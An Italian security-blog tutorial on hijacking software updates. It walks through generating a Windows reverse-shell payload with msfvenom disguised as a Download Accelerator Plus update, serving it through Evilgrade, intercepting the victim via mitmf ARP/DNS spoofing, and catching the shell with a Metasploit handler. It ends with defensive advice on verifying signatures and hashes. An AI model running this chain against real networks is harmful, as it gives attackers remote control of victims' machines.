Articoli

Aggiornamenti e Client Side Exploitation

Tutti conosciamo l’importanza di aggiornare i nostri software. Che riguardi una semplice calcolatrice o parti vitali del sistema operativo, un aggiornamento spesso risolve eventuali instabilità del programma, bug e questioni legate alla sicurezza, mettendo l’utente finale in condizione di utilizzare un software sicuro. Insomma, non esiste sysadmin al mondo che non raccomandi di installare le ultime release degli sviluppatori.

Ma è davvero sempre così?

Nell’articolo di oggi vogliamo confutare questo assunto, dimostrando come una procedura di aggiornamento possa essere sfruttata da malintenzionati per prendere il controllo della macchina vittima.

Ci avvarremo di un particolare framework modulare preinstallato in ogni distribuzione Linux dedicata al pentesting, Evilgrade, che si basa sul principio di attacco MITM. Prerequisiti fondamentali sono la presenza di un software datato sulla macchina vittima compreso nella lista di programmi – peraltro ben fornita – supportata da Evilgrade e presenza dell’host sulla stessa rete della macchina attaccante (magari raggiungibile attraverso VPN o indirizzi DNS dinamici).

Ai fini del nostro test, abbiamo installato sulla macchina virtuale vittima un noto download manager, Download Accelerator Plus; è possibile prelevare vecchie versioni del programma al link seguente:

http://www.oldversion.com/windows/download-accelerator/

Procediamo creando un payload che fungerà da vettore di attacco:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=​IPATTACCANTE LPORT=PORTACHEVUOI X > ​download_accelerator_plus_update20180704.exe

Da notare che in questo modo il payload sarà facilmente identificabile da programmi antivirus; in un pentest reale sarebbe invece auspicabile industriarsi in tecniche di AV evading e crittografare l’eseguibile.

In un nuovo terminale lanciamo evilgrade e richiamiamo il modulo relativo al programma datato presente sul sistema vittima:

sudo evilgrade
show modules
configure NOMEMODULO

Indichiamo il percorso del payload generato e appuntiamoci l’URL che innescherà la macchina attaccante:

set agent ​PERCORSO​/​DEL​/PAYLOAD.EXE
show options
start

Siamo quasi pronti per sferrare il vero e proprio attacco Man In The Middle. Modifichiamo come segue il file predefinito di configurazione del framework mitmf compreso nella nostra distribuzione:

sudo nano /etc/mitmf/mitmf.conf

E in un nuovo terminale diamo il comando:

sudo mitmf -i eth0 --spoof --dns --arp --target IPVITTIMA --gateway IPROUTER

Non ci resta che predisporre in ascolto un listener sulla macchina attaccante e compromettere la macchina alla quale è stato recapitato il payload iniziale:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT PORTADIPRIMA
set LHOST IPATTACCANTE
exploit

Non appena la vittima andrà alla ricerca di aggiornamenti, anziché scaricare gli ultimi fix ufficiali, verrà trasmesso in background il nostro malevolo payload: a quel punto la macchina sarà compromessa.

Conclusioni:

Con questo esempio pratico di Client Side Exploitation, si vuole dimostrare come anche una banale operazione di aggiornamento possa venire sfruttata da utenti malintenzionati per ottenere il controllo di una macchina. Come accennato nella premessa iniziale, l’attacco è efficace soprattutto se portato all’interno della rete LAN e implica che l’utente malintenzionato sia in costante ascolto e abbia preso di mira determinati host.

Non è il caso di diventare paranoici ma sicuramente non guasta prestare attenzione a tempi di risposta anomali in fase di aggiornamento del programma ed eventuali pop-up d’errore fasulli generati da Evilgrade volti a simulare un errore generico della procedura.

È bene sottolineare, inoltre, che ad oggi anche le software house più piccole si stanno adeguando a politiche di sicurezza sempre più stringenti, adottando misure di verifica della firma digitale più efficienti oppure rimandando l’utente al download presso repository ufficiali, i quali generalmente consentono – nonché consigliano fortemente – di verificare l’hash dell’eseguibile appena scaricato.

A cura di: Milo Caranti

Condividi sui Social Network:
Milo Caranti

Dopo aver frequentato la facoltà di Giurisprudenza, lavora attualmente come programmatore e svolge attività consulenziale per uno studio legale di Milano. Da sempre appassionato di Sicurezza informatica e vicino alle attuali tematiche in ambito ICT, è autore del libro ”Guida al Pentesting con Parrot Security OS”.

Recent Posts

The legislative scenario on cybercrime and electronic evidence: existing norms and future perspectives – Janos Drienyovszki

https://www.youtube.com/watch?v=yIJ6IFB0QMg Janos Drienyovszki, in qualità di Legal and Policy Officer di E-evidence e Cybercrime presso…

7 minuti ago

Tecniche di acquisizione delle evidenze digitali: copia bit a bit e funzione di hash

Procedendo secondo una linea cronologica, esaurite le operazioni del sopralluogo giudiziario – ovvero una volta…

2 ore ago

L’evoluzione del Vulnerability Assessment nell’Era Moderna della Cybersecurity. Abbiamo incontrato 7Layers

Fin dai tempi antichi, al fine di poter evolvere e migliorarsi, è necessario conoscere se…

4 giorni ago

ISO/IEC 42001: un sistema di gestione dell’intelligenza artificiale

In un contesto di rapida evoluzione tecnologica, l’Intelligenza Artificiale (IA) si è affermata come una…

5 giorni ago

Attività di sopralluogo giudiziario in caso di indagini su sistemi informatici

L’acquisizione della digital evidence è la fase del processo di digital forensics, successiva all’individuazione dell’evidenza…

6 giorni ago

Sicurezza cibernetica, Internet e processi industriali

Quando nel 1969 venne utilizzata per la prima volta la rete Arpanet per collegare tra…

1 settimana ago